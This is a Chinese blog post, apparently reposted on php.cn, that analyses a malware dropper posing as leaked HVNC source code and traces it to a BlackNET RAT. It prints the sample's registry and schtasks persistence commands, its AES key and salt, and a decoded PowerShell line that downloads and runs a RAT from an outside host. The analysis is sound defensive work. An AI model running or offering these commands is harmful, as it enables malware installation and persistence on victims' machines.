起因
网上冲浪的时候,看到篇帖子说pandora hvnc的源码泄露了,于是去github上一搜发现一堆疑似源码的仓库,并且大多数都有十个以上的start,愉快的clone下来,发现hidden vnc full not pasted.sln的文件杀软报毒了。类型是屏幕保护程序,图标也不太对劲,于是对其分析一波。

通过分析知道,此程序的后缀为scr,但用了FileSpoofer技术显示了假的扩展名(详见参考链接1)。
拖入die,显示为.net程序。

拖入dnspy,程序被简单混淆,直接使用de4dot反混淆后再次打开,其中Main函数:

全部字符串进行base64加密,进行动态调试分析:
Class0.smethod_3():

首先判断程序是否为
C:\Users\xxxxx\AppData\Roaming\WindowsDefenderScreen\WindowsDefenderScreen.exe,如果不是则创建相关路径,关闭相关程序并复制文件到此目录。
然后运行PowerShell命令进行开机启动设置:
代码语言:javascript代码运行次数:0运行复制<pre class="brush:php;toolbar:false;">
<pre class="brush:php;toolbar:false;">"Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'WindowsDefenderScreen';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'WindowsDefenderScreen' -Value '""C:\Users\xxxxx\AppData\Roaming\WindowsDefenderScreen\WindowsDefenderScreen.exe""' -PropertyType 'String'"
判断是否为Administrator权限,根据权限不同,利用任务计划进行权限维持
代码语言:javascript代码运行次数:0运行复制<pre class="brush:php;toolbar:false;">是Administrator权限:cmd /C schtasks /create /tn \WindowsDefenderScreen /tr "C:\Users\xxxxx\AppData\Roaming\WindowsDefenderScreen\WindowsDefenderScreen.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f(向右滑动,查看更多)非Administrator权限:
<pre class="brush:php;toolbar:false;">cmd /C schtasks /create /tn \WindowsDefenderScreen /tr "C:\Users\xxxxx\AppData\Roaming\WindowsDefenderScreen\WindowsDefenderScreen.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /f
<pre class="brush:php;toolbar:false;">
接下来进入正常执行流程:
首先通过GetManifestResourceStream获取rZJsQDE9Fv的资源文件,然后对资源文件进行解密,用的AES算法,其中密钥为zEP2yn51xz,salt为{26,20,202,234,136,123,69,47},模式为CBC,具体可以看下图:

解密后会通过注入到
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe运行,这里直接将解密数据提取分析。
二级程序上面提取出来的程序如下:

此程序主要是通过ShellExecuteA与EnumResourceNamesA释放并打开C:\Users\xxxxx\AppData\Roaming\HYPERVISOR.SLN
C:\Users\xxxxx\AppData\Roaming\WINDOWSDEFENDERSCREEN.EXE造成是正常Visual Studio工程的假象。

二级程序释放的新的WINDOWSDEFENDERSCREEN.EXE是一个.net程序,程序逻辑和第一个.net程序完全一样只是资源文件变了,提取出四级程序,和二级程序一样释放资源文件这次一共释放了10个.net文件:

每个文件都是使用PowerShell运行base64编码后的代码,以BLACK.exe为例:

解码后代码:
代码语言:javascript代码运行次数:0运行复制<pre class="brush:php;toolbar:false;">
<pre class="brush:php;toolbar:false;"><#ytg#>Start-Sleep -Seconds 10;(New-Object System.Net.WebClient).DownloadFile('https://zenginlerclubmuck.xyz/DontDelete/Blacknet/l/blacknet%20L.exe', <#gan#> (Join-Path <#iya#> -Path $env:AppData <#gqq#> -ChildPath 'Black.exe'))<#gld#>; Start-Process -FilePath <#jce#> (Join-Path -Path $env:AppData <#xtl#> -ChildPath 'Black.exe')<#ews#><pre class="brush:php;toolbar:false;">
通过网络下载远控程序。
前置程序利用了大量的程序间调用,意图躲避杀软:

zenginlerclubmuck.xyz的网站已经连接不上了,只能查到相关缓存。

通过一顿查找找到了
https://zenginlerclubmuck.xyz/DontDelete/Blacknet/p/black P.exe的文件缓存。

又是一个.net程序,de4dot能识别为Babel.Net但无法反混淆,在dnspy中查看类型引用,发现GZipStream,猜测用来解压缩Payload,便在此处下断点进行动态调试,在断点处停止后,代码已经出来了。

这里CheckFile 是将文件放在
C:\Users\xxxxxx\AppData\Roaming\Windows Security\Windows Security.exe 并添加开机自启。
后面通过Gzip解压缩Payload,直接提取rawAssembly与array3,主要恶意程序在array3中。

可以知道这个程序包括了虚拟机判断,屏幕截图,键盘记录,凭据窃取,DDOS等功能。
通过对其特征判断,很明显这是基于BlackNET RAT制作恶意程序,对详细技术感兴趣的可以去看参考链接中的2,3。
参考链接:以上就是伪装成HVNC源码的恶意软件分析的详细内容,更多请关注php中文网其它相关文章!
每个人都需要一台速度更快、更稳定的 PC。随着时间的推移,垃圾文件、旧注册表数据和不必要的后台进程会占用资源并降低性能。幸运的是,许多工具可以让 Windows 保持平稳运行。
Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号